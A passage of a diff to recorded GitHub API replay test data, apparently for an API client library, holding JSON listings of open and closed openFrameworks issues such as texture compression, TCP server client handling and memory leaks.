","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},null] - diff --git a/tests/ReplayData/Issue33.setUp.txt b/tests/ReplayData/Issue33.setUp.txt index 2f7dd20d38..22dd390ed2 100644 --- a/tests/ReplayData/Issue33.setUp.txt +++ b/tests/ReplayData/Issue33.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '1253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b765d626a03448a6b078da9e936f51b4"'), ('date', 'Tue, 29 May 2012 06:43:34 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/openframeworks/openFrameworks.git","has_downloads":true,"watchers":1741,"updated_at":"2012-05-29T04:44:30Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://openframeworks.cc","url":"https://api.github.com/repos/openframeworks/openFrameworks","has_wiki":true,"has_issues":true,"fork":false,"forks":349,"size":3792,"private":false,"open_issues":338,"svn_url":"https://github.com/openframeworks/openFrameworks","owner":{"url":"https://api.github.com/users/openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","id":142866},"name":"openFrameworks","language":"C","description":"OpenFrameworks is a cross platform open source toolkit for creative coding in C++.","ssh_url":"git@github.com:openframeworks/openFrameworks.git","git_url":"git://github.com/openframeworks/openFrameworks.git","pushed_at":"2012-05-28T19:23:35Z","created_at":"2009-10-21T21:55:54Z","id":345337,"mirror_url":null,"html_url":"https://github.com/openframeworks/openFrameworks","full_name":"openframeworks/openFrameworks"} - diff --git a/tests/ReplayData/Issue33.testClosedIssues.txt b/tests/ReplayData/Issue33.testClosedIssues.txt index dcde122984..8fd11d0ef4 100644 --- a/tests/ReplayData/Issue33.testClosedIssues.txt +++ b/tests/ReplayData/Issue33.testClosedIssues.txt @@ -415,4 +415,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4958'), ('content-length', '22487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"98deeee1d4ab1f6a96a5336774ac0087"'), ('date', 'Tue, 29 May 2012 18:46:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Add simplex/perlin noise to core","html_url":"https://github.com/openframeworks/openFrameworks/issues/25","comments":3,"assignee":null,"updated_at":"2009-12-06T11:51:10Z","body":"","number":25,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/25","labels":[],"id":72149,"closed_at":"2009-12-06T11:51:10Z","created_at":"2009-10-22T00:01:49Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Dean's ofPoint cleanup / comments","html_url":"https://github.com/openframeworks/openFrameworks/issues/24","comments":1,"assignee":null,"updated_at":"2009-12-05T21:36:47Z","body":"","number":24,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/24","labels":[],"id":72148,"closed_at":"2009-12-05T21:36:47Z","created_at":"2009-10-22T00:01:33Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Deans abgr to rfb blitter","html_url":"https://github.com/openframeworks/openFrameworks/issues/23","comments":2,"assignee":null,"updated_at":"2009-12-05T19:05:32Z","body":"","number":23,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/23","labels":[],"id":72147,"closed_at":"2009-12-05T19:05:32Z","created_at":"2009-10-22T00:01:22Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTexture copy constructor issue","html_url":"https://github.com/openframeworks/openFrameworks/issues/22","comments":0,"assignee":null,"updated_at":"2009-12-05T19:50:43Z","body":"problem with ofTexture copy constructor: http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=2638&view=unread#unread","number":22,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/22","labels":[],"id":72146,"closed_at":"2009-12-05T19:50:43Z","created_at":"2009-10-22T00:00:43Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"setAnchorPoint - move arguments from int to float","html_url":"https://github.com/openframeworks/openFrameworks/issues/21","comments":1,"assignee":null,"updated_at":"2009-10-24T16:12:19Z","body":"\r\n","number":21,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/21","labels":[],"id":72145,"closed_at":"2009-10-24T16:12:19Z","created_at":"2009-10-22T00:00:26Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofBaseVideo - isFrameNew","html_url":"https://github.com/openframeworks/openFrameworks/issues/20","comments":1,"assignee":null,"updated_at":"2009-10-24T12:48:29Z","body":"","number":20,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/20","labels":[],"id":72144,"closed_at":"2009-10-24T12:48:29Z","created_at":"2009-10-21T23:59:41Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - grayscale to planar not working","html_url":"https://github.com/openframeworks/openFrameworks/issues/19","comments":0,"assignee":null,"updated_at":"2009-12-05T13:47:40Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?t=1763","number":19,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/19","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72142,"closed_at":"2009-12-05T13:47:40Z","created_at":"2009-10-21T23:59:09Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - remove implicit ROI intersection","html_url":"https://github.com/openframeworks/openFrameworks/issues/18","comments":0,"assignee":null,"updated_at":"2009-12-05T13:46:06Z","body":"","number":18,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/18","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72141,"closed_at":"2009-12-05T13:46:06Z","created_at":"2009-10-21T23:58:23Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"latest xcode needs tcp.h included in ofxUdpManager ","html_url":"https://github.com/openframeworks/openFrameworks/issues/17","comments":1,"assignee":null,"updated_at":"2009-10-24T12:51:02Z","body":"","number":17,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/17","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72140,"closed_at":"2009-10-24T12:51:02Z","created_at":"2009-10-21T23:57:50Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - drawBlobIntoMe","html_url":"https://github.com/openframeworks/openFrameworks/issues/16","comments":0,"assignee":null,"updated_at":"2009-12-05T13:46:06Z","body":"restore it","number":16,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/16","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72139,"closed_at":"2009-12-05T13:46:06Z","created_at":"2009-10-21T23:57:31Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - shortImage - assignment operators","html_url":"https://github.com/openframeworks/openFrameworks/issues/15","comments":1,"assignee":null,"updated_at":"2009-12-05T21:26:06Z","body":"","number":15,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/15","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72137,"closed_at":"2009-12-05T21:26:06Z","created_at":"2009-10-21T23:56:56Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - iphone #ifdefs ","html_url":"https://github.com/openframeworks/openFrameworks/issues/14","comments":0,"assignee":null,"updated_at":"2009-12-05T13:46:06Z","body":"","number":14,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/14","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72136,"closed_at":"2009-12-05T13:46:06Z","created_at":"2009-10-21T23:56:35Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxThread - stopThread should be called when threaded function returns","html_url":"https://github.com/openframeworks/openFrameworks/issues/13","comments":1,"assignee":null,"updated_at":"2009-12-04T17:22:09Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=9&t=2210&p=11929#p11929\r\n","number":13,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/13","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72135,"closed_at":"2009-12-04T17:22:09Z","created_at":"2009-10-21T23:55:54Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Examples - imageLoader - ofSetupScreen call not needed","html_url":"https://github.com/openframeworks/openFrameworks/issues/12","comments":1,"assignee":null,"updated_at":"2009-10-24T22:19:07Z","body":"","number":12,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/12","labels":[],"id":72134,"closed_at":"2009-10-24T22:19:07Z","created_at":"2009-10-21T23:55:06Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVideoPlayer uninitialized bool","html_url":"https://github.com/openframeworks/openFrameworks/issues/11","comments":1,"assignee":null,"updated_at":"2009-10-24T14:27:08Z","body":"dean's fix for unitialized bool in ofVideoPlayer","number":11,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/11","labels":[],"id":72133,"closed_at":"2009-10-24T14:27:08Z","created_at":"2009-10-21T23:54:25Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOpenCv - do quick copy for getPixels and setPixels when image is memory alligned","html_url":"https://github.com/openframeworks/openFrameworks/issues/10","comments":1,"assignee":null,"updated_at":"2009-10-24T09:06:55Z","body":"ie 640 480 can be just a straight memcpy","number":10,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/10","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72132,"closed_at":"2009-10-24T09:06:55Z","created_at":"2009-10-21T23:53:24Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOsc shutdown leak","html_url":"https://github.com/openframeworks/openFrameworks/issues/9","comments":1,"assignee":null,"updated_at":"2009-10-24T13:40:48Z","body":"Shutdown issue - fix here: http://damian.dreamhosters.com/svn/public/ofxOsc/latest/\n","number":9,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/9","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"}],"id":72131,"closed_at":"2009-10-24T13:40:48Z","created_at":"2009-10-21T23:51:07Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxXmlSettings memory leak","html_url":"https://github.com/openframeworks/openFrameworks/issues/8","comments":2,"assignee":null,"updated_at":"2009-12-05T12:09:09Z","body":"Memory Leak in constructor: storedHandle = new TiXmlHandle(NULL); Never freed. 